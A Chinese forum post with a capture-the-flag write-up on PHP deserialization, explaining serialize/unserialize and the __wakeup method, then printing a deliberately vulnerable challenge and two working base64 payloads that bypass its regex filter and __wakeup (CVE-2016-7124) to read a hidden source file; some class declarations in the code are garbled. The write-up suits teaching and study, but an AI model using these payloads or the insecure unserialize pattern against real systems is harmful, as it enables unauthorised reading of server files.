设为首页 收藏本站
查看: 1258|回复: 0

[经验分享] php反序列化漏洞绕过魔术方法

[复制链接]

尚未签到

发表于 2017-12-30 18:30:28 | 显示全部楼层 |阅读模式
0x01 前言
  前天学校的ctf比赛,有一道题是关于php反序列化漏洞绕过wakeup,最后跟着大佬们学到了一波姿势。。

0x02 原理

序列化与反序列化简单介绍
  序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等  函数 : serialize()
  反序列化:恢复原先被序列化的变量 函数: unserialize()
  

1 <?php  
2 $test1 = "hello world";
  
3 $test2 = array("hello","world");
  
4 $test3 = 123456;
  
5 echo serialize($test1); //  s:11:"hello world";  序列化字符串
  
6 echo serialize($test2); // a:2:{i:0;s:5:"hello";i:1;s:5:"world";} 序列化数组
  
7 echo serialize($test3); //  i:123456;
  
8 ?>
  

  

1 <?php
  
2>  
3     public $test4 = "hello,world";
  
4 }
  
5 $test = new hello();
  
6 echo serialize($test);  //  O:5:"hello":1:{s:5:"test4";s:11:"hello,world";}  序列化对象  首字母代表参数类型 O->Objext S->String...
  
7 ?>
  


魔术方法:官方文档中介绍
  

__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(),  __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在 PHP 中被称为"魔术方法"(Magic methods)。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能。
  

  __wakeup()魔术方法
  

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。  


序列化public private protect参数产生不同结果
  

1 <?php
  
2>  
3     private $test1="hello";
  
4     public $test2="hello";
  
5     protected $test3="hello";
  
6 }
  
7 $test = new test();
  
8 echo serialize($test);  //  O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
  
9 ?>
  

  test类定义了三个不同类型(私有,公有,保护)但是值相同的字符串,序列化输出的值不相同 O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
  通过对网页抓取输出是这样的 O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}
  private的参数被反序列化后变成 \00test\00test1 public的参数变成 test2   protected的参数变成 \00*\00test3

0x03 分析
  比赛题目
  

1 <?php  
2     error_reporting(0);

  
3    >  
4         private $file='index.php';
  
5
  
6         public function __construct($file){
  
7             $this->file=$file;
  
8         }
  
9
  
10         function __destruct(){
  
11             echo show_source($this->file,true);
  
12         }
  
13
  
14         function __wakeup(){
  
15             $this->file='index.php';
  
16         }
  
17     }
  
18
  
19     $cmd=cmd00;
  
20     if (!isset($_GET[$cmd])){
  
21         echo show_source('index.php',true);
  
22     }
  
23     else{
  
24         $cmd=base64_decode($_GET[$cmd]);
  
25         if ((preg_match('/[oc]:\d+:/i',$cmd))||(preg_match('/flag/i',$cmd))){
  
26             echo "Are u gaoshing?";
  
27         }
  
28         else{
  
29             unserialize($cmd);
  
30         }
  
31     }
  
32 ?>
  
33 //sercet in the_next.php
  

  大致思路 首先是一个类sercet 接受$cmd,绕过正则 ,反序列化。覆盖$file的值,绕过 __wakeup,显示the_next.php的源码
  

1 <?php
  
2    >  
3         private $file='index.php';
  
4
  
5         public function __construct($file){
  
6             $this->file=$file;
  
7         }
  
8
  
9         function __destruct(){
  
10             echo show_source($this->file,true);
  
11         }
  
12
  
13         function __wakeup(){
  
14             $this->file='index.php';
  
15         }
  
16     }
  
17     $test = new sercet("the_next.php");
  
18     echo serialize($test);  // O:6:"sercet":1:{s:12:" sercet file";s:12:"the_next.php";}
  
19 ?>
  

  绕过正则可以用+号 问题是如何绕过__weakup 百度一下  发现这是一个CVE漏洞 ==》当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
  O:6:"sercet":1:  也就是输入比1大的值就行   如O:6:"sercet":2:
  

POC1:  TzorNjoic2VyY2V0IjozOntzOjEyOiIAc2VyY2V0AGZpbGUiO3M6MTI6InRoZV9uZXh0LnBocCI7fQ==  

  在复现的过程中 我发现在hackbar中直接将 O:+6:"sercet":1:{s:12:" sercet file";s:12:"the_next.php";} base64编码不能绕过 必须要在本地base64_encode生成 才能复现成功  百度了一波
DSC0000.png

  

所以POC2:  O:+6:"sercet":2:{S:12:"\00sercet\00file";s:12:"the_next.php";}  TzorNjoic2VyY2V0IjoyOntTOjEyOiJcMDBzZXJjZXRcMDBmaWxlIjtzOjEyOiJ0aGVfbmV4dC5waHAiO30KCgo=  

  两个POC均可以成功绕过
  参考链接
  php bugs 72663分析(CVE-2016-7124)
  由HITCON 2016一道web聊一聊php反序列化漏洞

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-429789-1-1.html 上篇帖子: PHP处理session跨域 下篇帖子: php判断进程是否存在
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表